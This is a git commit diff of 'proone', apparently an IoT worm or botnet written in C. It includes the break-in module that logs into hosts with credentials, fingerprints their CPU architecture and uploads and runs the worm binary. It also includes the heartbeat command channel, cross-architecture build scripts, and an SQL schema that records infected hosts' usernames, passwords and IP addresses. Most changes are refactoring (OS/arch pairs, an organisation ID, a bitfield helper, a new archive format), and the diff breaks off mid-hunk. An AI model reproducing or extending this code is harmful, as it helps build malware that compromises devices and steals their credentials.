diff options
-rw-r--r-- | .gitignore | 4 | ||||
-rwxr-xr-x | bootstrap.sh | 3 | ||||
-rw-r--r-- | configure.ac | 41 | ||||
-rwxr-xr-x | scripts/build-all.sh | 1 | ||||
-rwxr-xr-x | scripts/build-arch.sh | 8 | ||||
-rw-r--r-- | src/Makefile.am | 22 | ||||
-rw-r--r-- | src/bitfield.c | 37 | ||||
-rw-r--r-- | src/bitfield.h | 24 | ||||
-rw-r--r-- | src/bne.c | 93 | ||||
-rw-r--r-- | src/bne.h | 4 | ||||
-rw-r--r-- | src/config.c | 44 | ||||
-rw-r--r-- | src/config.h | 57 | ||||
-rw-r--r-- | src/data/sql/hi-create.sql | 8 | ||||
-rw-r--r-- | src/htbt.c | 45 | ||||
-rw-r--r-- | src/pack.c | 158 | ||||
-rw-r--r-- | src/pack.h | 26 | ||||
-rw-r--r-- | src/proone-bne.c | 9 | ||||
-rw-r--r-- | src/proone-hostinfod.c | 87 | ||||
-rw-r--r-- | src/proone-htbtclient.c | 176 | ||||
-rw-r--r-- | src/proone-htbthost.c | 12 | ||||
-rw-r--r-- | src/proone-mkcdict.c | 1 | ||||
-rw-r--r-- | src/proone-pack.c | 137 | ||||
-rw-r--r-- | src/proone-test_bitfield.c | 114 | ||||
-rw-r--r-- | src/proone-test_proto.c | 51 | ||||
-rw-r--r-- | src/proone.c | 167 | ||||
-rw-r--r-- | src/proone.h | 5 | ||||
-rw-r--r-- | src/protocol.c | 300 | ||||
-rw-r--r-- | src/protocol.h | 47 | ||||
-rw-r--r-- | src/recon.c | 1 | ||||
-rw-r--r-- | src/util_ct.h | 4 | ||||
-rw-r--r-- | src/util_rt.c | 4 | ||||
-rw-r--r-- | src/util_rt.h | 2 |
32 files changed, 1196 insertions, 496 deletions
@@ -24,4 +24,8 @@ Makefile.in /src/cred_dict.bin /src/dvault.bin /src/testlist +/src/config_gen.h +/src/config_gen.h.in +/src/config_gen.h.in~ +/src/stamp-h1 /builds/* diff --git a/bootstrap.sh b/bootstrap.sh index 29b2f22..d6d0946 100755 --- a/bootstrap.sh +++ b/bootstrap.sh @@ -1,4 +1,5 @@ #!/bin/sh aclocal && automake --add-missing --copy && - autoconf + autoconf && + autoheader diff --git a/configure.ac b/configure.ac index 2eb8dbe..75543b8 100644 --- a/configure.ac +++ b/configure.ac @@ -3,7 +3,9 @@ AC_INIT([proone], [0.0.0], []) : ${CFLAGS=""} : ${CXXFLAGS=""} : ${PRNE_VERBOSE=2} +: ${BIN_ALIGNMENT=8} +AC_CONFIG_HEADERS([src/config_gen.h]) AM_INIT_AUTOMAKE([1.0 subdir-objects]) AC_CANONICAL_HOST AC_LANG([C]) @@ -14,12 +16,14 @@ AC_ARG_ENABLE(debug, AS_HELP_STRING([--enable-debug], [build with debug flags. Default: no]), [case "${enableval}" in - yes) debug=true ;; - no) debug=false ;; + yes) debug=1 ;; + no) debug=0 ;; *) AC_MSG_ERROR([bad value ${enableval} for --enable-debug]) ;; esac], -[debug=false]) -AM_CONDITIONAL(DEBUG, test x"$debug" = x"true") +[debug=0]) +AM_CONDITIONAL(DEBUG, test x"$debug" = x"1") +AH_TEMPLATE([PRNE_DEBUG], [non-zero for debug build]) +AC_DEFINE_UNQUOTED([PRNE_DEBUG], [$debug]) AC_ARG_ENABLE(static, AS_HELP_STRING([--enable-static], @@ -43,10 +47,34 @@ esac], [mttools=false]) AM_CONDITIONAL(BUILD_MTTOOLS, test x"$mttools" = x"true") +AC_ARG_ENABLE(minmem, + AS_HELP_STRING( + [--enable-minmem], + [use only minimum amount of memory required to function. Default: no]), + [case "${enableval}" in + yes) minmem=1 ;; + no) minmem=0 ;; + *) AC_MSG_ERROR([bad value ${enableval} for --enable-minmem]) ;; + esac], + [minmem=0]) +AH_TEMPLATE( + [PRNE_USE_MIN_MEM], + [use only minimum amount of memory required to function]) +AC_DEFINE_UNQUOTED([PRNE_USE_MIN_MEM], [$minmem]) +AH_TEMPLATE([PRNE_VERBOSE], [Hardcoded compile-time verbose level]) AC_ARG_VAR( [PRNE_VERBOSE], [Debug verbose level. Must be used with --enable-debug. Defaults to 2]) +AC_DEFINE_UNQUOTED([PRNE_VERBOSE], [$PRNE_VERBOSE]) +AH_TEMPLATE([PRNE_BIN_ALIGNMENT], [Binary alignment size]) +AC_DEFINE_UNQUOTED([PRNE_BIN_ALIGNMENT], [$BIN_ALIGNMENT]) +AC_SUBST([BIN_ALIGNMENT]) +AH_TEMPLATE([PRNE_BUILD_ENTROPY], [Generated build entropy on configuration]) +AC_DEFINE_UNQUOTED( + [PRNE_BUILD_ENTROPY], + [{ $(xxd -l16 -ps /dev/urandom |\ + sed -E s/\(\\S{2}\)/0x\&,\ /g | sed -E s/,\ \$//) }]) AC_CHECK_LIB( [pthread], @@ -116,10 +144,5 @@ AS_IF([test x"$TOOL_XXD" != x"yes"], [AC_MSG_ERROR([xxd not found])]) AC_CHECK_PROG(TOOL_SED, [sed], [yes]) AS_IF([test x"$TOOL_SED" != x"yes"], [AC_MSG_ERROR([sed not found])]) - -AC_DEFINE_UNQUOTED( - [PRNE_BUILD_ENTROPY], - [{ $(xxd -l16 -ps /dev/urandom | sed -E s/\(\\S{2}\)/0x\&,\ /g | sed -E s/,\ \$//) }]) - AC_CONFIG_FILES([Makefile src/Makefile]) AC_OUTPUT diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 0c6e16f..7bb8809 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -96,6 +96,7 @@ DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT") # cross-compile targets for (( i = 0; i < ARR_SIZE; i += 1 )); do + PROONE_BIN_OS="linux"\ PROONE_HOST="${HOST_ARR[$i]}"\ PROONE_BIN_ARCH="${ARCH_ARR[$i]}"\ xcomp linux-app\ diff --git a/scripts/build-arch.sh b/scripts/build-arch.sh index bd944e8..b8ae223 100755 --- a/scripts/build-arch.sh +++ b/scripts/build-arch.sh @@ -28,7 +28,7 @@ separate_debug() { "$PROONE_HOST-objcopy" --add-gnu-debuglink="$3" "$2" } -BIN_PATH="$PROONE_EXEC_PREFIX.$PROONE_BIN_ARCH" +BIN_PATH="$PROONE_EXEC_PREFIX.$PROONE_BIN_OS.$PROONE_BIN_ARCH" ./configure --host="$PROONE_HOST" --enable-static $PROONE_AM_CONF cd src @@ -38,12 +38,12 @@ cd .. separate_debug\ src/proone.bin\ "$BIN_PATH"\ - "$PROONE_DEBUG_SYM_PREFIX""proone.sym.$PROONE_BIN_ARCH" + "$PROONE_DEBUG_SYM_PREFIX""proone.sym.$PROONE_BIN_OS.$PROONE_BIN_ARCH" for b in $MISC_BIN; do separate_debug\ "src/$b"\ - "$PROONE_MISC_BIN_PREFIX/$b.$PROONE_BIN_ARCH"\ - "$PROONE_DEBUG_SYM_PREFIX""$b.sym.$PROONE_BIN_ARCH" + "$PROONE_MISC_BIN_PREFIX/$b.$PROONE_BIN_OS.$PROONE_BIN_ARCH"\ + "$PROONE_DEBUG_SYM_PREFIX""$b.sym.$PROONE_BIN_OS.$PROONE_BIN_ARCH" done make distclean diff --git a/src/Makefile.am b/src/Makefile.am index 065dd35..02b8988 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -1,5 +1,3 @@ -BIN_ALIGNMENT = 8 - AM_CFLAGS =\ -std=c11\ -pedantic\ @@ -8,18 +6,16 @@ AM_CFLAGS =\ -Wno-switch\ -D_POSIX_C_SOURCE=200112L\ -Wno-unused-parameter\ - -DPRNE_BIN_ALIGNMENT=$(BIN_ALIGNMENT)\ -fdata-sections\ -ffunction-sections\ - -Wl,--gc-sections\ - -DPRNE_VERBOSE=$(PRNE_VERBOSE) + -Wl,--gc-sections AM_LDFLAGS = if DEBUG -AM_CFLAGS += -g -O0 -DPRNE_DEBUG=1 +AM_CFLAGS += -g -O0 else -AM_CFLAGS += -g -Os -DPRNE_DEBUG=0 +AM_CFLAGS += -g -Os endif if STATIC_RT AM_LDFLAGS += -static @@ -52,11 +48,11 @@ endif proone_tests =\ proone-test_proto\ proone-test_util\ - proone-test_iobuf + proone-test_iobuf\ + proone-test_bitfield bin_PROGRAMS += $(proone_tests) libproone_a_SOURCES =\ - config.c\ protocol.c\ pack.c\ dvault.c\ @@ -76,11 +72,12 @@ libproone_a_SOURCES =\ libssh2.c\ strmap.c\ cred_dict.c\ - bne.c + bne.c\ + bitfield.c proone: proone.bin dvault.bin cp -fa proone.bin proone - ./build-utils.sh align-file $(BIN_ALIGNMENT) proone + ./build-utils.sh align-file @BIN_ALIGNMENT@ proone ./build-utils.sh append-uint16 `stat -c "%s" dvault.bin` proone ./build-utils.sh append-uint16 0 proone ./build-utils.sh append-uint32 0 proone @@ -144,5 +141,8 @@ proone_test_util_SOURCES = proone-test_util.c proone_test_iobuf_LDADD = libproone.a proone_test_iobuf_SOURCES = proone-test_iobuf.c +proone_test_bitfield_LDADD = libproone.a +proone_test_bitfield_SOURCES = proone-test_bitfield.c + testlist: $(proone_tests) echo $(proone_tests) > testlist diff --git a/src/bitfield.c b/src/bitfield.c new file mode 100644 index 0000000..cec0304 --- /dev/null +++ b/src/bitfield.c @@ -0,0 +1,37 @@ +#include "bitfield.h" + + +void prne_bf_set (uint8_t *bf, const unsigned int bit, const bool v) { + const unsigned int p = bit / 8; + const unsigned int s = bit - p * 8; + + if (v) { + bf[p] |= 1 << s; + } + else { + bf[p] &= ~(1 << s); + } +} + +bool prne_bf_test (const uint8_t *bf, const unsigned int bit) { + const unsigned int p = bit / 8; + const unsigned int s = bit - p * 8; + + return bf[p] & (1 << s); +} + +void prne_bf_foreach ( + void *ctx, + const uint8_t *bf, + const size_t size, + prne_bf_foreach_ft f) +{ + unsigned int bit = 0; + + for (size_t i = 0; i < size; i += 1) { + for (unsigned int j = 0; j < 8; j += 1) { + f(ctx, bit, (bf[i] & (1 << j)) != 0); + bit += 1; + } + } +} diff --git a/src/bitfield.h b/src/bitfield.h new file mode 100644 index 0000000..034e439 --- /dev/null +++ b/src/bitfield.h @@ -0,0 +1,24 @@ +#pragma once +#include <stddef.h> +#include <stdbool.h> +#include <stdint.h> + +#include "util_ct.h" + +// This macro accepts zero +#define prne_bf_get_size(nb_bits)\ + ((nb_bits) % 8 == 0 ? (nb_bits) / 8 : (nb_bits) / 8 + 1) + +typedef void(*prne_bf_foreach_ft)( + void *ctx, + const unsigned int bit, + const bool v); + + +void prne_bf_set (uint8_t *bf, const unsigned int bit, const bool v); +bool prne_bf_test (const uint8_t *bf, const unsigned int bit); +void prne_bf_foreach ( + void *ctx, + const uint8_t *bf, + const size_t size, + prne_bf_foreach_ft f); @@ -99,6 +99,7 @@ typedef struct { */ const char *nl; char *host_cred; + char *org_id; uint8_t buf[2048]; char *upload_dir; pth_event_t ev; @@ -183,6 +184,7 @@ static void bne_init_sh_ctx (bne_sh_ctx_t *p, prne_rnd_t *rnd) { static void bne_free_sh_ctx (bne_sh_ctx_t *p) { prne_free(p->host_cred); + prne_free(p->org_id); bne_sh_ctx_free_mp(p); prne_free_llist(&p->up_loc); prne_free_llist(&p->up_methods); @@ -1191,6 +1193,7 @@ static bool bne_sh_setup ( mp_arr = NULL; mp_cnt = 0; + ctx->result.bin_host.os = PRNE_OS_LINUX; { // determine arch bne_sh_elf_parse_ctx_t ep; @@ -1236,30 +1239,50 @@ static bool bne_sh_setup ( } if (cpc.v7 && cpc.vfp && cpc.thumb) { - ctx->result.arch = PRNE_ARCH_ARMV7; + ctx->result.bin_host.arch = PRNE_ARCH_ARMV7; } else { - ctx->result.arch = PRNE_ARCH_ARMV4T; + ctx->result.bin_host.arch = PRNE_ARCH_ARMV4T; } } else { switch (ep.e_data) { case ELFDATA2LSB: switch (ep.e_machine) { - case EM_386: ctx->result.arch = PRNE_ARCH_I686; break; - case EM_X86_64: ctx->result.arch = PRNE_ARCH_X86_64; break; - case EM_AARCH64: ctx->result.arch = PRNE_ARCH_AARCH64; break; - case EM_MIPS: ctx->result.arch = PRNE_ARCH_MPSL; break; - case EM_SH: ctx->result.arch = PRNE_ARCH_SH4; break; - case EM_ARC: ctx->result.arch = PRNE_ARCH_ARC; break; + case EM_386: + ctx->result.bin_host.arch = PRNE_ARCH_I686; + break; + case EM_X86_64: + ctx->result.bin_host.arch = PRNE_ARCH_X86_64; + break; + case EM_AARCH64: + ctx->result.bin_host.arch = PRNE_ARCH_AARCH64; + break; + case EM_MIPS: + ctx->result.bin_host.arch = PRNE_ARCH_MPSL; + break; + case EM_SH: + ctx->result.bin_host.arch = PRNE_ARCH_SH4; + break; + case EM_ARC: + ctx->result.bin_host.arch = PRNE_ARCH_ARC; + break; } break; case ELFDATA2MSB: switch (ep.e_machine) { - case EM_MIPS: ctx->result.arch = PRNE_ARCH_MIPS; break; - case EM_PPC: ctx->result.arch = PRNE_ARCH_PPC; break; - case EM_68K: ctx->result.arch = PRNE_ARCH_M68K; break; - case EM_ARC: ctx->result.arch = PRNE_ARCH_ARCEB; break; + case EM_MIPS: + ctx->result.bin_host.arch = PRNE_ARCH_MIPS; + break; + case EM_PPC: + ctx->result.bin_host.arch = PRNE_ARCH_PPC; + break; + case EM_68K: + ctx->result.bin_host.arch = PRNE_ARCH_M68K; + break; + case EM_ARC: + ctx->result.bin_host.arch = PRNE_ARCH_ARCEB; + break; } break; } @@ -1267,7 +1290,7 @@ static bool bne_sh_setup ( } if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { - const char *arch_str = prne_arch_tostr(ctx->result.arch); + const char *arch_str = prne_arch_tostr(ctx->result.bin_host.arch); if (arch_str == NULL) { prne_dbgpf( @@ -1281,7 +1304,7 @@ static bool bne_sh_setup ( arch_str); } } - ret = ctx->result.arch != PRNE_ARCH_NONE; + ret = ctx->result.bin_host.arch != PRNE_ARCH_NONE; END: // CATCH if (!ret && ctx->result.err == 0) { @@ -1299,27 +1322,28 @@ END: // CATCH } static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { - prne_arch_t actual; - ctx->result.prc = prne_start_bin_rcb_compat( &sh_ctx->rcb, - ctx->result.arch, - ctx->param.rcb->self, + ctx->result.bin_host, + NULL, ctx->param.rcb->m_self, ctx->param.rcb->self_len, ctx->param.rcb->exec_len, ctx->param.rcb->m_dv, ctx->param.rcb->dv_len, ctx->param.rcb->ba, - &actual); + &ctx->result.bin_used); if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { if (ctx->result.prc == PRNE_PACK_RC_OK) { - if (actual != ctx->result.arch) { + if (!prne_eq_bin_host( + &ctx->result.bin_used, + &ctx->result.bin_host)) + { prne_dbgpf( "bne sh@%"PRIxPTR"\t: using compat arch %s\n", (uintptr_t)ctx, - prne_arch_tostr(ctx->result.arch)); + prne_arch_tostr(ctx->result.bin_used.arch)); } } else { @@ -1620,7 +1644,10 @@ static bool bne_sh_run_exec ( const char *exec) { const char *sb_cmd[] = { - "\"./", exec, "\" \"", s_ctx->host_cred, "\";echo $?;" + "\"./", exec, "\" ", + "\"", s_ctx->host_cred, "\" ", + "\"", s_ctx->org_id, "\"", + ";echo $?;" }; char *cmd; bne_sh_parser_t parser; @@ -1702,6 +1729,23 @@ END: prne_free(m); } +static void bne_build_org_id (bne_sh_ctx_t *s_ctx, const uint8_t *id) { + size_t olen; + + prne_free(s_ctx->org_id); + s_ctx->org_id = NULL; + if (id == NULL) { + return; + } + + mbedtls_base64_encode(NULL, 0, &olen, id, 16); + s_ctx->org_id = prne_malloc(1, olen); + if (s_ctx->org_id == NULL) { + return; + } + mbedtls_base64_encode((unsigned char*)s_ctx->org_id, olen, &olen, id, 16); +} + static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { bool alloc; bool ret = false; @@ -1710,6 +1754,7 @@ static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { // TRY bne_build_host_cred(sh_ctx, ctx->result.cred.id, ctx->result.cred.pw); + bne_build_org_id(sh_ctx, ctx->param.org_id); exec_name = ctx->param.cb.exec_name(ctx->param.cb_ctx); if (exec_name == NULL) { @@ -2144,7 +2189,7 @@ static bool bne_vhtbt_do_upbin_us ( mh.id = prne_htbt_gen_msgid(&ctx->rnd, bne_vhtbt_msgid_f); mh.op = PRNE_HTBT_OP_RCB; - rcb_f.arch = prne_host_arch; + rcb_f.arch = PRNE_HOST_ARCH; rcb_f.compat = true; prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); if (!bne_vhtbt_do_ayt(ctx, vctx, ev)) { @@ -3767,8 +3812,6 @@ prne_bne_t *prne_alloc_bne ( ret->result.subject = &ret->param.subject; ret->result.vec = PRNE_BNE_V_NONE; - ret->result.prc = PRNE_PACK_RC_OK; - ret->result.arch = PRNE_ARCH_NONE; w->ctx = ret; w->entry = bne_entry_f; @@ -56,6 +56,7 @@ struct prne_bne_param { } cb; void *cb_ctx; const prne_rcb_param_t *rcb; + const uint8_t *org_id; prne_ip_addr_t subject; unsigned int login_attempt; }; @@ -69,7 +70,8 @@ struct prne_bne_result { int err; prne_bne_vector_t vec; prne_pack_rc_t prc; - prne_arch_t arch; + prne_bin_host_t bin_host; + prne_bin_host_t bin_used; bool ny_instance; }; diff --git a/src/config.c b/src/config.c deleted file mode 100644 index 8d78947..0000000 --- a/src/config.c +++ /dev/null @@ -1,44 +0,0 @@ -#include "config.h" - - -const prne_arch_t prne_host_arch = -#ifdef __GNUC__ - #if defined(__i386__) - PRNE_ARCH_I686 - #elif defined(__x86_64__) - PRNE_ARCH_X86_64 - #elif defined(__ARM_ARCH_4T__) - PRNE_ARCH_ARMV4T - #elif defined(__ARM_ARCH_7A__) - PRNE_ARCH_ARMV7 - #elif defined(__aarch64__) - PRNE_ARCH_AARCH64 - #elif defined(__mips__) - #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ - PRNE_ARCH_MIPS - #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ - PRNE_ARCH_MPSL - #else - #error "FIXME!" - #endif - #elif defined(__powerpc__) - PRNE_ARCH_PPC - #elif defined(__SH4__) - PRNE_ARCH_SH4 - #elif defined(__m68k__) - PRNE_ARCH_M68K - #elif defined(__arc__) - #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ - PRNE_ARCH_ARCEB - #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ - PRNE_ARCH_ARC - #else - #error "FIXME!" - #endif - #else - #error "FIXME!" - #endif -#else - #error "FIXME!" -#endif - ; diff --git a/src/config.h b/src/config.h index ace35b3..b1db8e7 100644 --- a/src/config.h +++ b/src/config.h @@ -1,4 +1,8 @@ #pragma once +#ifndef CONFIG_GEN_H +#include "config_gen.h" +#define CONFIG_GEN_H +#endif #include "protocol.h" #include <stdint.h> @@ -7,7 +11,6 @@ #include <zlib.h> - #if INTPTR_MAX == INT32_MAX #define PRNE_HOST_WORDSIZE 32 #elif INTPTR_MAX == INT64_MAX @@ -38,4 +41,54 @@ #define PRNE_PACK_Z_LEVEL Z_DEFAULT_COMPRESSION -extern const prne_arch_t prne_host_arch; +// PRNE_HOST_ARCH +#ifdef __GNUC__ + #if defined(__i386__) + #define PRNE_HOST_ARCH PRNE_ARCH_I686 + #elif defined(__x86_64__) + #define PRNE_HOST_ARCH PRNE_ARCH_X86_64 + #elif defined(__ARM_ARCH_4T__) + #define PRNE_HOST_ARCH PRNE_ARCH_ARMV4T + #elif defined(__ARM_ARCH_7A__) + #define PRNE_HOST_ARCH PRNE_ARCH_ARMV7 + #elif defined(__aarch64__) + #define PRNE_HOST_ARCH PRNE_ARCH_AARCH64 + #elif defined(__mips__) + #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ + #define PRNE_HOST_ARCH PRNE_ARCH_MIPS + #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ + #define PRNE_HOST_ARCH PRNE_ARCH_MPSL + #else + #error "FIXME!" + #endif + #elif defined(__powerpc__) + #define PRNE_HOST_ARCH PRNE_ARCH_PPC + #elif defined(__SH4__) + #define PRNE_HOST_ARCH PRNE_ARCH_SH4 + #elif defined(__m68k__) + #define PRNE_HOST_ARCH PRNE_ARCH_M68K + #elif defined(__arc__) + #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ + #define PRNE_HOST_ARCH PRNE_ARCH_ARCEB + #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ + #define PRNE_HOST_ARCH PRNE_ARCH_ARC + #else + #error "FIXME!" + #endif + #else + #error "FIXME!" + #endif +#else + #error "FIXME!" +#endif + +// PRNE_HOST_OS +#ifdef __GNUC__ + #if defined(__linux__) + #define PRNE_HOST_OS PRNE_OS_LINUX + #else + #error "FIXME!" + #endif +#else + #error "FIXME!" +#endif diff --git a/src/data/sql/hi-create.sql b/src/data/sql/hi-create.sql index b173aaa..8859248 100644 --- a/src/data/sql/hi-create.sql +++ b/src/data/sql/hi-create.sql @@ -1,5 +1,6 @@ CREATE TABLE `prne-hi` ( `instance_id` binary(16) NOT NULL, + `org_id` binary(16) DEFAULT NULL, `inserted` datetime NOT NULL, `updated` datetime NOT NULL, `parent_uptime` bigint(20) unsigned DEFAULT NULL, @@ -13,7 +14,9 @@ CREATE TABLE `prne-hi` ( `cred_id` varchar(255) DEFAULT NULL, `cred_pw` varchar(255) DEFAULT NULL, `crash_cnt` int(10) unsigned DEFAULT NULL, - `arch` varchar(255) DEFAULT NULL, + `arch` tinyint unsigned DEFAULT NULL, + `os` tinyint unsigned DEFAULT NULL, + `flags` varbinary(255) DEFAULT NULL, `ipaddr` binary(16) DEFAULT NULL, PRIMARY KEY (`instance_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; @@ -21,6 +24,7 @@ CREATE TABLE `prne-hi` ( CREATE VIEW `prne`.`prne-hi-view` AS SELECT HEX(`prne`.`prne-hi`.`instance_id`) AS `HEX(instance_id)`, + HEX(`prne`.`prne-hi`.`org_id`) AS `HEX(org_id)`, `prne`.`prne-hi`.`inserted` AS `inserted`, `prne`.`prne-hi`.`updated` AS `updated`, `prne`.`prne-hi`.`parent_uptime` AS `parent_uptime`, @@ -35,6 +39,8 @@ CREATE VIEW `prne`.`prne-hi-view` AS `prne`.`prne-hi`.`cred_pw` AS `cred_pw`, `prne`.`prne-hi`.`crash_cnt` AS `crash_cnt`, `prne`.`prne-hi`.`arch` AS `arch`, + `prne`.`prne-hi`.`os` AS `os`, + HEX(`prne`.`prne-hi`.`flags`) AS `flags`, INET6_NTOA(`prne`.`prne-hi`.`ipaddr`) AS `INET6_NTOA(ipaddr)` FROM `prne`.`prne-hi`; @@ -1,4 +1,5 @@ #include "htbt.h" +#include "config.h" #include "util_rt.h" #include "protocol.h" #include "llist.h" @@ -47,7 +48,9 @@ static const struct timespec HTBT_CHILD_SPAWN_TIMEOUT = { 30, 0 }; // 30s static const struct timespec HTBT_DL_TICK_TIMEOUT = { 30, 0 }; // 30s static const size_t HTBT_STDIO_IB_SIZE[] = { +#if !PRNE_USE_MIN_MEM PRNE_HTBT_STDIO_LEN_MAX, +#endif 512, 0 }; @@ -337,8 +340,20 @@ static void htbt_free_slv_ctx (htbt_slv_ctx_t *ctx) { static bool htbt_alloc_slv_iobuf (htbt_slv_ctx_t *ctx) { #define OPT_SIZE 2048 static const size_t ALLOC_MAT[2][3] = { - { OPT_SIZE, PRNE_HTBT_PROTO_MIN_BUF, 0 }, - { OPT_SIZE, PRNE_HTBT_PROTO_SUB_MIN_BUF, 0 } + { +#if !PRNE_USE_MIN_MEM + OPT_SIZE, +#endif + PRNE_HTBT_PROTO_MIN_BUF, + 0 + }, + { +#if !PRNE_USE_MIN_MEM + OPT_SIZE, +#endif + PRNE_HTBT_PROTO_SUB_MIN_BUF, + 0 + } }; prne_static_assert( OPT_SIZE >= PRNE_HTBT_PROTO_MIN_BUF && @@ -1826,9 +1841,9 @@ static bool htbt_slv_srv_rcb ( int32_t err = 0; prne_pack_rc_t prc; prne_bin_rcb_ctx_t rcb_ctx; + prne_bin_host_t target, started; prne_iobuf_t rcb_ib; pth_event_t ev = NULL; - prne_arch_t started_arch; ssize_t io_ret; int rcb_err = 0; prne_htbt_stdio_t data_f; @@ -1863,37 +1878,39 @@ static bool htbt_slv_srv_rcb ( goto STATUS_END; } - if (rcb_f.arch == PRNE_ARCH_NONE) { - rcb_f.arch = ctx->rcb->self; + if (rcb_f.self) { + target.os = ctx->rcb->self.os; + target.arch = ctx->rcb->self.arch; + } + else { + target.os = rcb_f.os; + target.arch = rcb_f.arch; } if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { prne_dbgpf( HTBT_NT_SLV"@%"PRIuPTR": starting rcb self=%02X target=%02X" " compat(%s)\n", (uintptr_t)ctx, - ctx->rcb->self, - rcb_f.arch, + ctx->rcb->self.arch, + target.arch, rcb_f.compat ? "*" : " "); } prc = prne_start_bin_rcb_compat( &rcb_ctx, - rcb_f.arch, - ctx->rcb->self, + target, + &ctx->rcb->self, ctx->rcb->m_self, ctx->rcb->self_len, ctx->rcb->exec_len, ctx->rcb->m_dv, ctx->rcb->dv_len, ctx->rcb->ba, - &started_arch); + &started); if (prc != PRNE_PACK_RC_OK) { htbt_slv_set_pack_err(prc, errno, &status, &err); goto STATUS_END; } - if (!rcb_f.compat && - rcb_f.arch != PRNE_ARCH_NONE && - rcb_f.arch != started_arch) - { + if (!rcb_f.compat && !prne_eq_bin_host(&target, &started)) { htbt_slv_set_pack_err(PRNE_PACK_RC_NO_ARCH, 0, &status, &err); goto STATUS_END; } @@ -23,9 +23,21 @@ typedef struct { size_t buf_len; // 0: used as z_stream buffer, > 0: used as something else size_t seek, skip; // Offset to binary to exclude and its length z_stream z_old, z_ny; - prne_arch_t a_self; + prne_bin_host_t self; } pack_rcb_rb_octx_t; +bool prne_eq_bin_host (const prne_bin_host_t *a, const prne_bin_host_t *b) { + return + a->os == b->os && + a->arch == b->arch; +} + +bool prne_bin_host_inrange (const prne_bin_host_t *x) { + return + prne_os_inrange(x->os) && + prne_arch_inrange(x->arch); +} + void prne_init_bin_archive (prne_bin_archive_t *a) { prne_memzero(a, sizeof(prne_bin_archive_t)); } @@ -45,34 +57,41 @@ prne_pack_rc_t prne_index_bin_archive ( prne_bin_tuple_t *bin = NULL; size_t nb_bin, i, sum = 0; - if (len < 4) { + if (len < 8 || + memcmp( + data, + PRNE_PACK_BA_IDEN_DATA, + sizeof(PRNE_PACK_BA_IDEN_DATA)) != 0) + { ret = PRNE_PACK_RC_FMT_ERR; goto END; } - nb_bin = data[0]; - len -= 4; - data += 4; - if (nb_bin * 4 > len) { + if (data[5] != 0) { + ret = PRNE_PACK_RC_UNIMPL_REV; + goto END; + } + nb_bin = prne_recmb_msb16(data[6], data[7]); + len -= 8; + data += 8; + if (nb_bin * 8 > len) { ret = PRNE_PACK_RC_FMT_ERR; goto END; } - /* FIXME - * Is an empty bin archive possible? - * This will fail when nb_bin == 0 - */ + // An empty bin archive is possible. bin = (prne_bin_tuple_t*)prne_malloc(sizeof(prne_bin_tuple_t), nb_bin); - if (bin == NULL) { + if (bin == NULL && nb_bin > 0) { ret = PRNE_PACK_RC_ERRNO; goto END; } for (i = 0; i < nb_bin; i += 1) { - bin[i].arch = (prne_arch_t)data[0]; - bin[i].size = prne_recmb_msb32(0, data[1], data[2], data[3]); + bin[i].host.os = (prne_os_t)data[2]; + bin[i].host.arch = (prne_arch_t)data[3]; + bin[i].size = prne_recmb_msb32(0, data[5], data[6], data[7]); sum += bin[i].size; - data += 4; - len -= 4; + data += 8; + len -= 8; } out->data = data; @@ -261,6 +280,7 @@ static ssize_t pack_rcb_dvread_f ( ctx->buf_len -= consume; } else { + size_t nb_bin = 0; // dv consume = prne_op_min(ctx->skip, len); memcpy(buf, ctx->m_dv, consume); @@ -273,46 +293,58 @@ static ssize_t pack_rcb_dvread_f ( // alignment and bin archive index prne_static_assert( - sizeof(ctx->buf) >= PRNE_BIN_ALIGNMENT + NB_PRNE_ARCH * 4, + sizeof(ctx->buf) >= + PRNE_BIN_ALIGNMENT + (NB_PRNE_OS * NB_PRNE_ARCH) * 8, "FIXME"); ctx->buf_len = prne_salign_next(ctx->dv_len, PRNE_BIN_ALIGNMENT) - ctx->dv_len; prne_memzero(ctx->buf, ctx->buf_len); - nb_bin_loc = &ctx->buf[ctx->buf_len + 0]; - *nb_bin_loc = 0; - ctx->buf[ctx->buf_len + 1] = 0; - ctx->buf[ctx->buf_len + 2] = 0; - ctx->buf[ctx->buf_len + 3] = 0; - ctx->buf_len += 4; + memcpy( + ctx->buf + ctx->buf_len, + PRNE_PACK_BA_IDEN_DATA, + sizeof(PRNE_PACK_BA_IDEN_DATA)); + ctx->buf[ctx->buf_len + 5] = 0; + nb_bin_loc = ctx->buf + ctx->buf_len + 6; + ctx->buf_len += 8; - if (ctx->a_self != PRNE_ARCH_NONE) { - ctx->buf[ctx->buf_len + 0] = (uint8_t)ctx->a_self; - ctx->buf[ctx->buf_len + 1] = + if (ctx->self.arch != PRNE_ARCH_NONE) { + ctx->buf[ctx->buf_len + 0] = 0; + ctx->buf[ctx->buf_len + 1] = 0; + ctx->buf[ctx->buf_len + 2] = (uint8_t)ctx->self.os; + ctx->buf[ctx->buf_len + 3] = (uint8_t)ctx->self.arch; + ctx->buf[ctx->buf_len + 4] = 0; + ctx->buf[ctx->buf_len + 5] = prne_getmsb32(ctx->z_ny.avail_in, 1); - ctx->buf[ctx->buf_len + 2] = + ctx->buf[ctx->buf_len + 6] = prne_getmsb32(ctx->z_ny.avail_in, 2); - ctx->buf[ctx->buf_len + 3] = + ctx->buf[ctx->buf_len + 7] = prne_getmsb32(ctx->z_ny.avail_in, 3); - 